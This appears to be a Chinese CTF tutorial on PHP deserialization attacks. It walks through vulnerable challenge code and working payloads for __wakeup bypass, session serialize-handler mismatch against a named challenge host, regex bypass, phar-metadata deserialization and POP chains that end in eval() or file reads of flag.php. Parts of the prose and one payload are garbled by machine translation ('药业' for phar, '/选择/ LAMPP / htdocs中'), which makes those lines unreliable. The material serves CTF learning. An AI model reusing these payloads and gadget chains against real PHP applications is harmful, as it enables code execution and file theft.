一,常见的魔术方法
__construct()//创建对象时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__invoke() //当脚本尝试将对象调用为函数时触发
二,例题
1.
简
序的反序列化2.反序列化绕过__wakeup 3.session反序列化
4.反序列化绕过正则
5.phar反序列化
6.pop链构造
7.phar反序列化与pop链接结合
0x01简单的反序列化
<?phperror_reporting(0);include "flag.php";$KEY = "D0g3!!!";$str = $_GET['str'];if (unserialize($str) === "$KEY") { echo "$flag"; } show_source(__FILE__);
echo serialize($KEY);
s:7:"D0g3!!!";
0x02反序列化绕过__wakeup
<?php class SoFun{ protected $file='index.php'; function __destruct(){ if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false) show_source(dirname (__FILE__).'/'.$this ->file); else die('Wrong filename.'); } } function __wakeup(){ $this-> file='index.php'; } public function __toString() return '' ; } }if (!isset($_GET['file'])){ show_source('index.php'); }else{ $file=base64_decode($_GET['file']); echo unserialize($file); } ?> #<!--key in flag.php-->
序列反化会触发__wakeup
无论怎样都是会变成index.php
要想办法绕过,__wakeup()
漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup
的执行
保护和私家不有可见字符
将<0x00>
替换分类中翻译\00
也。就是O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}
的base64编码一下,要注意PHP7和PHP5的区别
0x03 session反序列化
PHP中的会话中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是会议的值序列化之后的内容。
session.serialize_handler
是用来设置会话序列的化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的会话的存储方式不相同。
php_binary
:存储方式是,键名的长度对应的ASCII字符+键名+经过的serialize()函数序列化处理的值php
:存储方式是,键名+竖线+经过的serialize()函数序列处理的值php_serialize(php>5.5.4)
:存储方式是,经过串行化()序列函数化处理的值
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');
默认下会话存储为
<?phpsession_start(); $_SESSION['name'] = 'fange';
name|s:5:"fange";
在php_serialize引擎下:
<?phpini_set('session.serialize_handler', 'php_serialize'); session_start();$_SESSION['name'] = 'fange';
会话存储的值为a:1:{s:4:"name";s:5:"fange";}
在php_binary引擎下:
<?phpini_set('session.serialize_handler', 'php_binary'); session_start();$_SESSION['name'] = 'fange';
ASCII的值为4的字符无法打印显示
会议实现是没问题,主要是会话使用不当而引起的,假如PHP反序列化存储时使用的引擎和序列化使用的引擎不一样,就会引发漏洞
比如1.php
php_serialize
<?phpini_set('session.serialize_handler', 'php_serialize'); session_start();$_SESSION["fan"]=$_GET["a"];
2.php
session.serialize_handler
<?phpini_set('session.serialize_handler', 'php'); session_start();class Fan{ var $hi; function __construct(){ $this->hi = "system('whoami');"; } function __destruct() { eval($this->hi); } }
在1.php
传入
经过php_serialize
存储的为
a:1:{s:3:"fan";s:45:"Fan|O:3:"Fan":1:{s:2:"hi";s:10:"phpinfo();";}";}
再然后访问2.php
执行了phpinfo()
,这是为什么呢因为我们在进行读取的时候,选择的是PHP引擎?
这是因为当使用PHP引擎的时候,PHP引擎会以|作为作为键和值的分隔符,那么就会将a:1:{s:3:"fan";s:45:"Fan
作为会议的重点,将O:3:"Fan":1:{s:2:"hi";s:10:"phpinfo();";}";}
作为值,然后进行反序列化,就会求最后得到Fan
这个类
我们接下来展示进入实战
http://web.jarvisoj.com:32784/index.php
<?php//A webshell is wait for youini_set('session.serialize_handler', 'php'); session_start();class OowoO{ public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } }if(isset($_GET['phpinfo'])) { $m = new OowoO(); }else{ highlight_string(file_get_contents('sessiontest.php')); }?>
从的phpinfo界面可以看出刚刚符合我们前面讲的
那么,
<?phpclass OowoO{ public $mdzz; } $a=new OowoO; $a->mdzz='$_POST[a];';echo serialize($a);?>
没有可以供我们传值的地方,
Session 上传进度 当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态 当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在\$_SESSION中获得。当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值
后期构造表单
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /></form>
文件名改成有效载荷
通过SCANDIR电子杂志文件列表
设置$ mdzz = ‘的print_r(SCANDIR( “/选择/ LAMPP / htdocs中”));’
序列化的结果是○:5: “OowoO”:1:{S:4: “mdzz”; S:38: “的print_r(SCANDIR(”/选择/ LAMPP / htdocs中“));”;}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}
0x04反序列化绕过正则
<?php @error_reporting(1);include 'flag.php';class baby { public $file; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } }if (isset($_GET['data'])) { $data = $_GET['data']; preg_match('/[oc]:\d+:/i',$data,$matches); if(count($matches)) { die('Hacker!'); } else { $good = unserialize($data); echo $good; } }else { highlight_file("./index.php"); }?>
前面的○:4:符合正则的条件,因此将其绕过即可利用符号+就不会正则匹配到数字,O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
记得网址编码,否则加号会变成空格,还要注意PHP7和PHP5的区别O%3a%2b4%3a"baby"%3a1%3a{s%3a4%3a"file"%3bs%3a8%3a"flag.php"%3b}
0x05 phar反序列化
<?phpif(isset($_GET['filename'])){ $filename=$_GET['filename']; class MyClass{ var $output='echo "nice"'; function __destruct(){ eval($this->output); } } var_dump(file_exists($filename)); file_exists($filename); }else{ highlight_file(__FILE__); }
<?php class MyClass{ var $output='phpinfo();'; function __destruct(){ eval($this->output); } } @unlink("c:/AMD/myclass.phar"); $a=new MyClass; $a->output='phpinfo();'; $phar = new Phar("c:/AMD/myclass.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt","test"); $phar->stopBuffering();?>
0x06 pop链构造
<?phpclass start_gg{ public $mod1; public $mod2; public function __destruct() { $this->mod1->test1(); } }class Call{ public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } }class funct{ public $mod1; public $mod2; public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } }class func{ public $mod1; public $mod2; public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } }class string1{ public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } }class GetFlag{ public function get_flag() { echo "flag:"."xxxxxxxxxxxx"; } } $a = $_GET['string']; unserialize($a);?>
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中,这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来
来看,标志在get_flag
方法里面
想要得到的标志就要运行它,继续往上看,string1
的类中__tostring
方法调用了它。
调用这个get_flag
方法的在魔术方法__toString
,想要触发它,就要把对象当成字符串来运算,继续往上,好在刚刚fun
类中有个字符串拼接的
那么想要运行这个拼接,这个拼接在魔术方法__invoke
//当脚本尝试将对象调用为函数时触发,继续往上,找将对象调用函数的操作。
刚刚好有一个,接着又要触发__call方法//在对象上下文中调用不可访问的方法时触发,那么我们继续往上看,发现还有2个类
不难看出,这边有2方法种
第一种的英文直接在start_gg
类中的__destruct
方法中将$this->mod1=new funct;
来触发上面提到的的__call
方法
第二种的英文在调用类中将$this->mod1=new funct;
,然后start_gg
类中的$this->mod1=new call;
来触发__call
方法
0x07 phar反序列化与pop链结合
file.php<?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; $file = $_GET["file"] ? $_GET['file'] : "";if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show();if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn't exists.'); } ?>function.php<?php //show_source(__FILE__); include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(E_ERROR | E_PARSE); foreach (array('_COOKIE','_POST','_GET') as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= addslashes($_value); } } function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jepg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invild file!");</script>'; return false; } } } ?>class.php<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
结合文件上传的功能点,我们不难想到用上传药业包来触发反序列化漏洞。
药业触发反序列化漏洞有以下要求:
1)。存在文件操作函数,例如file_exits(),file_get_contents()函数等等,且其中的参数可控
2)。在类中存在__destruct方法
3)。可上传PHAR文件构造
以上条件都满足了,接下来就是构造弹出了链
来看class.php
有俩个地方着手,一个是展示类中的_show
,但是了过滤f1ag
一个是测试的中file_get
要触发file_get
,就要运行get
,要运行get
,就必须触发 __get
__get
方法是在访问一个方法不存在或者是不可访问的变量是会触发
Test
类已经走完,其他往类看Show
类中有个$this->str['str']->source
那么我们可以将$这- > STR [ ‘STR’]赋值为对象啊,在__toString
方法中
我们那么就要找个把对象当字符串输出的地方
显而易见,的英文当然__destruct
魔术方法,思路已经明确,那就开干
有效载荷
<?phpclass C1e4r{ public $test; public $str; public function __construct() { $this->str = new Show; } public function __destruct() { $this->test = $this->str; echo $this->test; } }class Show{ public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $this->str['str']=new Test(); $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } }class Test{ public $file; public $params; public function __construct() { $this->params = array("source"=>'flag.php'); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } $a=new C1e4r; @unlink("c:/AMD/C1e4r.phar"); $a=new C1e4r; $phar = new Phar("c:/AMD/C1e4r.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt","test"); $phar->stopBuffering();?>
原来是读取的时候没有加绝对路径啊,加一下就行了
此篇文章由DurkBlue发布,转载一下需要注明来处